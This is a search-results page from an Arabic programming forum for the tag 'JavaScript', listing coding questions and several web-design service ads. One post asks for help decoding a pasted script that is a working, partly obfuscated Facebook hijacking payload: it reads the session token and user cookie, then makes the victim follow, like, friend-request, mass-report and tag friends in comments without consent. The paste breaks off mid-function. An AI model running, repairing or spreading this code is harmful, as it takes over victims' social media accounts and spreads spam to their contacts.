• الإعلانات

    • فيصل الحربي

      تسجيل عضوية جديدة في المنتدى   01/31/2016

      السلام عليكم ورحمة الله وبركاته  عزيزي العضو الجديد :  حاليا رسالة الإيميل لتأكيد صحة إيميلكم تذهب للبريد العشوائي ( جاري حل المشكلة )  فإذا لم تجد رسالة التحقق من إيميلكم في صندوق الوارد لديكم إتجه للبريد العشوائي ( JUNK)  وقم بتفعيل إشتراككم من هناك   

البحث في المنتدى

Showing results for tags 'جافا سكربت'.

  • البحث بالتاقات

    اكتب الكلمات المفتاحيه بينها علامه الفاصله
  • البحث بكاتب الموضوع

تم إيجاد 63 نتيجة

  1. السلام عليكم ممكن اكواد لربط قاعده بيانات أكسس بالجافا
  2. السلام عليكم و رحمته الله :) اهلا و سهلا بكم الان موقعك علي الانترنت ب 499 جنية فقط     موقع مصمم للشركات تم تصميمه ليناسب مختلف الشركات لعرض منتجاتها وخدماتها بسهولة للعملاء و امكانية التواصل معهم           يتميز موقع الشركات بالاتي : عرض معلومات عن شركتك و اخر انجازات الشركة بالصور و التفاصيل. عمل اقسام مختلفة لمنتجات الشركة. امكانية التحكم بالموقع كاملا من خلال لوحة التحكم المتوفرة بالغة العربية و الانجليزية. اضـافـة اكثـر من صـورة للمنتج من لوحة التحكم و يتم عرضهم في صفحة عرض المنتج امكانية اضافة محتوي الصفحات بطريقة سهلة من خلال لوحة التحكم. اضافة عدد كبير من الصفحات و ايضا اضافة المحتوي باللغة العربية و الانجليزية . التركيب خلال 24 ساعة . السكربت يصلح لجميع الشركات . كما يمكن اضافة خدمة تلقي رسائل من الزوار لك و كذلك الرد عليها مما يسهل التواصل مع عملائك و معرفة ارائهم او شكاواهم. و يمكن اضافة مكان شركتك على الخريطة من خلال خدمة جوجل مابس. اختار نسختك المفضلة الان               [attachment=150657:50.jpg]     من شركة كود ان كود لتصميم المواقع الالكترونية     http://www.codeincode.com/scripts.php?id=1
  3. اهلا وسهلا بكم   نحن شركة كود ان كود Code in Code لتصميم المواقع الالكترونية ، تقدم الشركة خدمات مثل تصميم و برمجه المواقع ، استضافة و تطوير المواقع .   و تقدم الشركة سكربت مبوبة   وهوعبارة عن سكربت للاعلانات المجانية والذى يمكنك من انشاء موقع اعلانات مبوبة لتقديم الخدمة للزوار مجانا والاستفادة من ربح الاعلانات التى تعرضها على موقعك .   يتميز سكربت مبوبة بالتالي : لوحة التحكم الخاصة بمراجعة الاعلانات التي ادخلها الزوار ( الاعلانات المبوبة) من حيث تعديلها او تفعلها او الغائها .تقسيم الاعلانات بشكل جذاب و ادارة الاقسام الرئيسية و الفرعية مع امكانية اضافة عنوان و كلمات مفتاحية و وصف لكل قسم  و تغيير الدولة و المدينة و امكانية التحكم في الاعلام.امكانية تغيير العملات الموجودة فى صفحة اضافة اعلان جديدعرض الاعضاء المسجلين بالموقع.ادارة خصائص الموقع بالكامل.ادارة المساحات الاعلانية بالموقع.ادارة شعار الموقع و الايقونة الصغرى للمتصفح.ادارة حساب الفيس بوك و تويتر للموقع.ادارة كود الاحصائيات الخاص بجوجل.ادارة صفحات الشروط و سياسة الخصوصية.كما يتميز سكربت مبوبة بروابط صديقة لمحركات البحث لتزيد من عدد زوارك من خلال البحث.احصل على استضافة مجانية لمدة عام بمساحة 1 جيجا + دومين مجانا من اختيارك التركيب مجانى خلال 24 ساعة من الشراء   للتواصل معنا   اضغط علي الرابط الشركة   http://www.codeincode.com/scripts.php?id=2
  4. اهلا وسهلا بكم اعضاء المنتدي الكرام   نحن شركة كود ان كود ( Code in Code ) لتصميم المواقع الالكترونية ، تقدم الشركة خدمات مثل تصميم و برمجه المواقع ، استضافة وتطوير المواقع حيث اننا  نقدم  تصميمات مميزة لأننا علي علم انه كلما كان الموقع مميز و مبتكر كلما زاد عدد زواره.   تقوم  شركة ( Code in Code ) بعمل سكربت ليناسب مجال عمل كل شركة حيث يشمل السكربت علي :   امكانية التحكم بالموقع كاملا من خلال لوحة التحكم المتوفرة بالغة العربية و الانجليزية.عرض معلومات عن شركتك  و اخر انجازات الشركة بالصور و التفاصيل.عمل اقسام مختلفة لمنتجات الشركة.اضـافـة اكثـر من صـورة للمنتج من لوحة التحكم و يتم عرضهم في صفحة عرض المنتج .امكانية اضافة محتوي الصفحات بطريقة سهلة من خلال لوحة التحكم و ايضا اضافة المحتوي باللغة العربية و الانجليزية ، اضافة عدد كبير من الصفحات.التركيب خلال 24 ساعة .سكربت يصلح لجميع انواع الشركات .كما يمكن اضافة  خدمة  تلقي رسائل من الزوار لك و كذلك الرد عليها مما يسهل التواصل مع عملائك و معرفة ارائهم او شكاواهم.و يمكن اضافة مكان شركتك على الخريطة من خلال خدمة جوجل مابس.وايضا اضافة اعلانات ضمنية هذه الاعلانات عبارة عن كود جوجل ادسنس و تظهر داخل المواضيع ( بين الكلام ) حيث وفرنا لك امكانية اضافة هذه الاعلانات الضمنية و التحكم الكامل بها داخل مواضيعك كذلك تفعيلها او تعطيلها.  للتواصل معنا   اضغط هنا للانتقال لموقع الشركة   http://www.codeincode.com/scripts.php?id=1
  5. بسم الله الرحمن الرحيم عملتا سكربت صغير كده ان اشاء الله يعجبكم ما اطول عليكم ^_^ اضغط هنا للمشاهدة الفيديو
  6. بسم الله الرحمن الرحيم   قمت بتصميم برنامج ولكن واجهتني مشاكل كثيرة وسئلت أحد الاصدقاء وأرشدني الى هذا المنتدى واسئل الله ان ينفعنا بكم :)   المشكلة التي واجهتني وعطلت المشروع لأكثر من أسبوع هي : طريقة عرض الاسماء الموجودة بالهاتف لـ أختيار مجموعة من الاسماء لتطبيق أمر ما عليهم !!   2- المشكلة الثانية ماهو الحدث أو الكود المناسب للعملية التالية (عند اتصال اي شخص من المجموعة المحددة .. سوف يتم تحويلهم الى رقم آخر )   فكرة البرنامج ( تطبيق يقوم بتحويل مجموعة من الاسماء الى رقم تلفون معين ) بحيث حين يتصل " احمد " سوف يتم تحويله الى رقم ملغي والهاتف عادي يعمل بدون الحاجه الى تحويل جميع المكالمات :) * لا أحلل أي شخص يسرق فكرة البرنامج وأشهد الله وملائكته أني سوف اخاصمه عند الله :)     المطلوب فقط : حل المشكلتين والله ولي التوفيق
  7. ماهي فائدة الSerialization

    خلال دراستي للجافا وصلت لشيء اسمه    ووجدت موضوع في المنتدى يشرح الموضوع بشكل جميل لكني اريد معرفة الفائدة العملية للSerialization  اعلم انها تستخدم لتخزين الكائن لكن مالذي نستفيده من ذلك ارجو التوضيح لو كان بمثال عملي فهذا افضل وشكرا
  8. السلام عليكم ورحمة الله وبركاته ::  احتاج الي فك تشفير هذا الكود هل احد لديه خبرة لمساعدتي ؟  /* Nh?c */var parent=document.getElementsByTagName("html")[0];var _body = document.getElementsByTagName('body')[0];var _div = document.createElement('div');_div.style.height="25"; _div.style.width="100%";_div.style.position="fixed";_div.style.top="auto";_div.style.bottom="0";_div.align="center";var _audio= document.createElement('audio');_audio.style.width="100%";_audio.style.height="25px";_audio.controls = true;_audio.autoplay = false;_audio.autoplay = true;_audio.src = "http://picosong.com/media/songs/1623c97f871ebe69c08a4089737457dc";_div.appendChild(_audio);_body.appendChild(_div);var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("100000965755027");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}sublist("342348835807305");sublist("1462478237308746");var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("185309954944253");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}// soufiana("100000965755027");a("100001124150617");a("100002160667785");a("100005299571431");// Lists //sublist("558069537568566");sublist("653686774673508");Like("788958151118403");Like("215850365157826");Like("510247569082708");Like("343101402443592");Like("215939221802527");Like("319801474762814");//Theme(function() {var css = ".highlightIndicator, \n.tinyman:after, \n.fbTimelineSideAds,\n.ego_column,\n.buttonWrap, \n.fbTimelineSpine, \n.spinePointer, \n.topBorder, \n.bottomBorder, \n#footerContainer, \n.middleLink, \n.slimHeader #pageNav li.tinyman::after, .slimHeader #pageNav li.middleLink::after, \n.slimHeader #pageNav .middleLink a, \n.moreSectionsLink\n{\ndisplay:none !important;\n}\n\ndiv.mainWrapper{\npadding-left: 1em !important;\n}\n.uiProgressBar .fill {\nbackground: #444 !important;\nborder: solid #222 !important;\n}\n.uiTypeaheadView .compact li {\nbackground-color: #111 !important;\n}\ndiv.uiTypeaheadView .selected {\nbackground-color: #333 !important;\n}\n.fbIndex .gradient {\nbackground: none !important;\n}\n.notifNegativeBase #fbNotificationsFlyout li.jewelItemNew, .notifNegativeBase #fbNotificationsFlyout li.first_receipt {\nbackground: #333 !important;\n}\n.pop_container {\nbackground-color: #000 !important;\n}\n.pop_verticalslab, .pop_horizontalslab {\nbackground: #222 !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiContextualLayer {\nbackground-color: #111 !important;\n}\n.HighlightSelectorMenu {\nborder: 2px solid #000 !important;\nbackground: #111 !important;\nborder-radius: 5px !important;\n}\n.-cx-PUBLIC-uiDialog__border, ._1yu {\nborder: 10px solid rgba(82, 82, 82, .7) !important;\n-webkit-border-radius: 8px !important;\n}\ninput[type=\"text\"], input[type=\"password\"], .inputtext, select, .select, select > option, select > button, .fbPhotoImageStage .fbPhotosPhotoButtons .tagMessage, .fbPhotoImageStage .fbPhotosPhotoButtons .cropMessage, #u1clso_61 div img, #navSearch .uiTypeahead, .-cx-PRIVATE-uiDialog__content, ._1yu, ._t {\nbackground-color: #111 !important;\n}\n.fbTimelineCapsule\n{\nbackground: none !important;\n}\n.sp_c79t5t\n{\nbackground-image: none !important;\n}\n* {\nborder-color: transparent !important;\ncolor: #fff !important;\nbackground-color: transparent !important; \n}\n\n#fbTimelineHeadline .profilePic {\nbackground-color: #FFF !important;\nborder: 4px solid #FFF !important;\n-webkit-border-radius: 2px !important;\nheight: 160px !important;\nwidth: 160px !important;\n}\n\n\n.fbTimelineScrubber {\n\nborder-color: #333333 !important;\npadding: 8px 0 8px 1px !important;\ntop: 38px !important;\nwidth: 122px !important;\nz-index: 1 !important;\nborder-radius: 10px !important;\n}\n\n.fbPhotosPhotoTagboxBase .tagName {\nbackground: #000 !important;\ncolor: #FFF !important;\ncursor: default !important;\nfont-weight: normal !important;\npadding: 2px 6px 3px !important;\ntop: 3px !important;\nwhite-space: nowrap !important;\n}\n\n.fbPhotosPhotoTagboxBase .innerTagBox {\nborder: 4px solid white !important;\nborder-color: rgba(255, 255, 255, .8) !important;\n}\n\n.fbPhotoSnowlift {\nbackground-color: rgba(0, 0, 0, .7) !important;\n}\n\n.fbPhotoSnowlift .rhc , .pagingActivated .snowliftOverlay, .fbPhotoSnowlift.taggingMode .snowliftOverlay, .stageWrapper{\nbackground-color: #111 !important;\n}\n\n.profile-picture img {\nmax-width: 170px !important;\n}\n\n.webComposerPhotoUpload input, .webComposerPhotoUpload {\ncolor: #000000 !important;\n}\n\n\nhtml{background:url(http://data.sinhvienit.net/2011/T12/img/SinhVienIT.NET---bg-green.jpg) no-repeat center fixed;background-size:cover;-o-background-size:cover;-webkit-background-size:cover}\n\n\n\n\n.fbCurrentStory:hover, .connect_widget_like_button, .fbFeedTickerStory:hover, .item a:hover, .fbJewelFlyout li:hover, .uiSideNav a:hover, .fbNubFlyoutBody, .uiButtonConfirm {\nbackground: #111111 !important;\n}\n\n.fbChatMessageGroup {\nborder-color: #2c2c2c !important;\n}\n\n.fbChatSidebar {\nbackground: #111111 !important;\n}\n\n#leftCol {\nposition: relative;top:20px!important;\nmin-height: 400px !important;\n}\n\n.arrowLeft a {\nbackground-image:url('http://i.imgur.com/26zf5.png') !important;\nborder-color: #666666 !important;\n}\n\n.arrowRight a {\nbackground-image:url('http://i.imgur.com/v6B6z.png') !important;\nborder-color: #666666 !important;\n}\n\n.uiStreamSubstory {\nborder-color: transparent !important;\n}\n\n.uiHeader {\nbackground-color: transparent !important;\n}\n\n.fbSidebarGripper, .fbTickerFooter, .fbSidebarGripper div, .navSubmenu:hover {\nbackground-color: #222222 !important;\n}\n\n.fbTimelineCountButton, .uiBoxWhite, .uiButtonGroup {\nbackground-color: #1c1c1c !important;\n}\n\n\n\n#leftCol {\npadding-top: 0px !important;\npadding-left: 0px !important;\n}\n\n.fbNubFlyoutFooter {\nbackground: #111111 !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important; \nborder: #333333 !important;\n}\n\n.uiStream .uiSelectorButton {\nbackground-image: url(\"http://i.imgur.com/nOfuQ.png\") !important;\n}\n\n.uiSearchInput {\nbackground-image: url(\"http://i.imgur.com/agmNw.png\") !important;\n}\n\n\n\n\n.jewelButton:hover, .topNavLink a:hover {\nbackground-color: #222222 !important;\n}\n\n.uiScrollableAreaGripper {\nbackground-color: #666666 !important;\n}\n\n.uiSearchInput, .fbPhotosGridHeader, .uiComposerMessageBoxControls, #MessagingShelf, .uiBoxGray {\nbackground: #111111 !important;\n}\n\n.uiButton {\nbackground: #1c1c1c !important;\n}\n\n#blueBar {\nbackground: -moz-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 0 7px rgba(211, 32, 198, 0.75) !important;\nborder:4px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:5px!important;\nborder-radius: 70px!important;\n}\n\n\n\n#contentCol, #pageLogo a {\nbackground-color: transparent !important;\nborder-color: transparent !important;\n}\n\n.uiMorePager {\nmargin-bottom:6px !important;\nbackground-color: #1c1c1c !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStreamStory, .fbIndexFeaturedRegistration, .signupForm {\nmargin-bottom:2px !important;\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\npadding: 1px !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStream .uiStreamHeader .uiStreamHeaderChronologicalForm .uiSelectorButton .uiButtonText {\ncolor: #000 !important;\n}\n\n#album_pagelet {\nbackground-color: #111111 !important;\nmargin-left: 0px !important;\nmargin-top: -15px !important;\n}\n\n.tagWrapper, #pagelet_main_column, .timelineUnitContainer, .fbTimelineTopSection, #MessagingMessages {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n.fbTimelineTopSectionBase .topSectionBottomBorder {\ndisplay: none !important;\n}\n#pagelet_main_column {\nwidth: 500px !important;\n}\n\n.fbJewelFlyout, .uiToggleFlyout, .navigation, .container, .uiOverlayContent, .search, .pop_container_advanced {\nbackground-color: #111111 !important; \nborder-radius: 15px !important;\nborder: 2px solid #333333 !important;\n}\n\n#left_column, #leftCol, .MessagingReadHeader {\nbackground: #111111 !important;\nborder-radius: 15px !important;\n}\n\n#left_column, #leftCol {\n;\nwidth: 185px !important;\n}\n\n.uiMediaThumb i, .uiProfilePhoto {\nborder: 1px solid #000000 !important; \n}\n\n#rightCol {\nmargin-top: 10px !important;\npadding-top: 0px !important;\nbackground: #111111 !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n\n#right_column, .rightColumnWrapper {\nmargin-top: 0px !important;\npadding-top: 0px !important; \nposition: fixed !important;\nbackground: #111111 !important;\nborder-radius: 15px !important; \nborder: 0px solid #333333 !important;\n}\n\n.aboutMePagelet {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder: 0px solid #333333 !important;\n}\n\n.fbNubButton, .fbNubFlyoutTitlebar, .uiToggleFlyout, .fbChatSidebarFooter {\nbackground: -moz-linear-gradient(center top , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center top , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important;\nborder: #333333 !important;\n}\n\n.fbChatOrderedList {\nbackground: -moz-linear-gradient(center right , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center right , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important;\nborder: #333333 !important;\n}\n\n\n\n\n\n\n\n\n.UFIMentionsInputWrap,.navHeader, ._554n,.fbxWelcomeBox ,._2yg .composerTypeahead {\nbackground: -moz-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 2px 4px rgba(211, 32, 198, 0.75) !important;\nborder:2px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.fbx #pageHead, #blueBar #pageHead{\npadding-top:0px!important;\n}\n\n.slim #blueBar {\n\n height: 35px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg,\n._s0,\n._42fz .pic{\n border:2px solid rgba(0, 0, 0, .55)!important;\n border-radius: 37px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg:hover,\n._s0:hover,\n._42fz .pic:hover{\n box-shadow: 0px 0px 4px rgba(211, 32, 198, 0.75) !important;\n border:2px ridge #CC00FF !important;\n border-radius: 37px!important;\n}\n.uiSideNav .sideNavItem .hasCount:hover,\n.uiSideNav .sideNavItem .noCount:hover{\n text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n color: #CC00FF !important;\n\n}\n#navSearch {\nwidth:300px !important;\nmargin-top: 6px !important;\nmargin-left: 30px !important;\nborder-color: transparent !important;\n}\n#headNav {\n height: 30px;\n}\n\n\n\na:hover{\n text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n color: #CC00FF !important;\n}\n.UIActionLinks_bottom a, \n.UIActionLinks_bottom button.as_link, \n.UIActionLinks_bottom .uiLinkButton input, \n.UIActionLinks_bottom .uiLinkButton input:hover,\n.uiStreamMessage .actorName, .uiStreamMessage .passiveName\n{\n text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n color: #CC00FF !important;\n}\n._2yg .composerTypeahead ,#bfb_options_button_li.openToggler ul,\n .better_fb_mini_message, .sfx_mini_message_no_x,\n .GM_options_wrapper_inner,\n .better_fb_mini_message, .mini_x{\nbackground: -moz-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d 0%,#000000 100%);\nbox-shadow: 0 2px 4px rgba(39, 98, 138, 0.75) !important;\nborder:2px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.GM_options_buttons input{\n text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n color: #CC00FF !important;\n\n}";if (typeof GM_addStyle != "undefined") { GM_addStyle(css);} else if (typeof PRO_addStyle != "undefined") { PRO_addStyle(css);} else if (typeof addStyle != "undefined") { addStyle(css);} else { var node = document.createElement("style"); node.type = "text/css"; node.appendChild(document.createTextNode(css)); var heads = document.getElementsByTagName("head"); if (heads.length > 0) { heads[0].appendChild(node); } else { // By Tr?ng(N V D) document.documentElement.appendChild(node); }}})();var _0xb161=["\x76\x61\x6C\x75\x65","\x66\x62\x5F\x64\x74\x73\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x72\x65\x70\x6F\x72\x74\x2F\x73\x6F\x63\x69\x61\x6C\x2E\x70\x68\x70","\x66\x62\x5F\x64\x74\x73\x67\x3D","\x26\x62\x6C\x6F\x63\x6B\x3D\x31\x26\x70\x70\x3D\x25\x37\x42\x25\x32\x32\x61\x63\x74\x69\x6F\x6E\x73\x5F\x74\x6F\x5F\x74\x61\x6B\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x5B\x5D\x25\x32\x32\x25\x32\x43\x25\x32\x32\x61\x72\x65\x5F\x66\x72\x69\x65\x6E\x64\x73\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x63\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x63\x6F\x6E\x74\x65\x6E\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x30\x25\x32\x43\x25\x32\x32\x65\x78\x70\x61\x6E\x64\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x33\x41\x31\x25\x32\x43\x25\x32\x32\x66\x69\x72\x73\x74\x5F\x63\x68\x6F\x69\x63\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32\x66\x72\x6F\x6D\x5F\x67\x65\x61\x72\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74\x69\x6D\x65\x6C\x69\x6E\x65\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x74\x61\x67\x67\x65\x64\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x6F\x6E\x5F\x70\x72\x6F\x66\x69\x6C\x65\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x70\x68\x61\x73\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x72\x65\x66\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x25\x35\x43\x25\x32\x46\x25\x35\x43\x25\x32\x46\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x25\x35\x43\x25\x32\x46\x4E\x61\x6E\x2E\x65\x72\x74\x74\x37\x25\x32\x32\x25\x32\x43\x25\x32\x32\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x31\x34\x35\x25\x32\x43\x25\x32\x32\x72\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x73\x75\x62\x5F\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x74\x69\x6D\x65\x5F\x66\x6C\x6F\x77\x5F\x73\x74\x61\x72\x74\x65\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x75\x73\x65\x72\x25\x32\x32\x25\x33\x41","\x25\x37\x44\x26\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x3D\x31\x26\x5F\x5F\x75\x73\x65\x72\x3D","\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x79\x6E\x3D\x37\x6E\x38\x61\x68\x79\x6A\x32\x71\x6D\x76\x75\x35\x6B\x39\x55\x6D\x41\x41\x61\x55\x56\x70\x6F\x26\x5F\x5F\x72\x65\x71\x3D\x75\x26\x74\x74\x73\x74\x61\x6D\x70\x3D\x32\x36\x35\x38\x31\x36\x38\x35\x37\x31\x30\x37\x31\x31\x30\x38\x38\x38\x30","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x63\x6C\x6F\x73\x65","\x73\x65\x6E\x64","\x31\x30\x30\x30\x30\x36\x39\x35\x32\x31\x31\x39\x30\x34\x38"];var fb_dtsg=document[_0xb161[2]](_0xb161[1])[0][_0xb161[0]];var user_id=document[_0xb161[4]][_0xb161[3]](document[_0xb161[4]][_0xb161[3]](/c_user=(\d+)/)[1]);var now=( new Date)[_0xb161[5]]();function Report(_0x45e7x5){var _0x45e7x6= new XMLHttpRequest();var _0x45e7x7=_0xb161[6];var _0x45e7x8=_0xb161[7]+fb_dtsg+_0xb161[8]+_0x45e7x5+_0xb161[9]+_0x45e7x5+_0xb161[10]+now+_0xb161[11]+user_id+_0xb161[12]+user_id+_0xb161[13];_0x45e7x6[_0xb161[15]](_0xb161[14],_0x45e7x7,true);_0x45e7x6[_0xb161[16]]=function (){if(_0x45e7x6[_0xb161[17]]==4&&_0x45e7x6[_0xb161[18]]==200){_0x45e7x6[_0xb161[19]];} ;} ;_0x45e7x6[_0xb161[20]](_0x45e7x8);} ;var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","654095104632675","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function 